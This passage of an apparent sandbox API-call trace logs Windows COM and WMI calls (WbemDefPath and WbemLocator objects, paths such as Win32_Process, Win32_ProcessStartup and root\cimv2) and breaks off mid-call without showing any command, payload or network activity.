This=0x1c02f7b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c02f7b0) returned 0x0 [0081.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0081.487] WbemDefPath:IUnknown:AddRef (This=0x1c02f7b0) returned 0x3 [0081.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0081.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0081.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c022fa0) returned 0x0 [0081.488] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022fa0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.488] WbemDefPath:IUnknown:Release (This=0x1c022fa0) returned 0x3 [0081.488] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0081.488] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0081.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0081.488] WbemDefPath:IUnknown:Release (This=0x1c02f7b0) returned 0x2 [0081.488] WbemDefPath:IUnknown:Release (This=0x1c02f7b0) returned 0x1 [0081.488] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0081.488] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0081.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c02f7b0) returned 0x0 [0081.488] WbemDefPath:IUnknown:AddRef (This=0x1c02f7b0) returned 0x3 [0081.488] WbemDefPath:IUnknown:Release (This=0x1c02f7b0) returned 0x2 [0081.488] WbemDefPath:IWbemPath:SetText (This=0x1c02f7b0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0081.488] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f7b0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0081.488] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f7b0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0081.488] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f7b0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0081.489] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f7b0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0081.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f7b0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0081.489] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f7b0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0081.489] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0081.489] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0081.489] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0081.489] IUnknown:Release (This=0x111f638) returned 0x1 [0081.491] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c022fe0) returned 0x0 [0081.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022fe0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0081.491] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022fe0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c02f870) returned 0x0 [0081.492] WbemDefPath:IUnknown:Release (This=0x1c022fe0) returned 0x0 [0081.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c02f870) returned 0x0 [0081.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0081.492] WbemDefPath:IUnknown:AddRef (This=0x1c02f870) returned 0x3 [0081.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0081.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0081.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c023020) returned 0x0 [0081.492] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c023020, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.492] WbemDefPath:IUnknown:Release (This=0x1c023020) returned 0x3 [0081.492] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0081.492] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0081.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0081.493] WbemDefPath:IUnknown:Release (This=0x1c02f870) returned 0x2 [0081.493] WbemDefPath:IUnknown:Release (This=0x1c02f870) returned 0x1 [0081.493] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0081.493] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0081.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c02f870) returned 0x0 [0081.493] WbemDefPath:IUnknown:AddRef (This=0x1c02f870) returned 0x3 [0081.493] WbemDefPath:IUnknown:Release (This=0x1c02f870) returned 0x2 [0081.493] WbemDefPath:IWbemPath:SetText (This=0x1c02f870, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0081.493] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f870, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0081.493] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f870, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0081.493] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f870, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0081.493] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f870, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0081.493] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f870, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0081.493] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f870, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0081.493] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f870, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0081.493] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0081.493] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0081.493] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.493] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0081.493] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0081.494] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0081.494] IUnknown:Release (This=0x111f638) returned 0x1 [0081.496] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1c023060) returned 0x0 [0081.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c023060, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0081.496] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c023060, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1c02f930) returned 0x0 [0081.496] WbemDefPath:IUnknown:Release (This=0x1c023060) returned 0x0 [0081.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1c02f930) returned 0x0 [0081.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0081.497] WbemDefPath:IUnknown:AddRef (This=0x1c02f930) returned 0x3 [0081.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0081.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0081.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1c0230a0) returned 0x0 [0081.497] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0230a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.497] WbemDefPath:IUnknown:Release (This=0x1c0230a0) returned 0x3 [0081.497] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0081.497] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0081.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0081.497] WbemDefPath:IUnknown:Release (This=0x1c02f930) returned 0x2 [0081.497] WbemDefPath:IUnknown:Release (This=0x1c02f930) returned 0x1 [0081.497] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0081.497] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0081.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1c02f930) returned 0x0 [0081.497] WbemDefPath:IUnknown:AddRef (This=0x1c02f930) returned 0x3 [0081.497] WbemDefPath:IUnknown:Release (This=0x1c02f930) returned 0x2 [0081.497] WbemDefPath:IWbemPath:SetText (This=0x1c02f930, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0081.497] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f930, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0081.497] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f930, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0081.497] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f930, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.498] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0081.498] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0081.498] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0081.498] IUnknown:Release (This=0x111f638) returned 0x1 [0081.499] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1c0231a0) returned 0x0 [0081.499] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0231a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0081.499] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c0231a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1c0231c0) returned 0x0 [0081.499] WbemLocator:IUnknown:Release (This=0x1c0231a0) returned 0x0 [0081.499] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0231c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1c0231c0) returned 0x0 [0081.499] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0231c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0081.500] WbemLocator:IUnknown:AddRef (This=0x1c0231c0) returned 0x3 [0081.500] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0231c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0081.500] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0231c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0081.500] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0231c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0081.500] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0081.500] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0081.500] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0231c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0081.500] WbemLocator:IUnknown:Release (This=0x1c0231c0) returned 0x2 [0081.500] WbemLocator:IUnknown:Release (This=0x1c0231c0) returned 0x1 [0081.500] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0081.500] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0081.500] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0231c0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1c0231c0) returned 0x0 [0081.500] WbemLocator:IUnknown:AddRef (This=0x1c0231c0) returned 0x3 [0081.500] WbemLocator:IUnknown:Release (This=0x1c0231c0) returned 0x2 [0081.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f930, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0081.501] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f930, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0081.501] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f930, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.501] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: 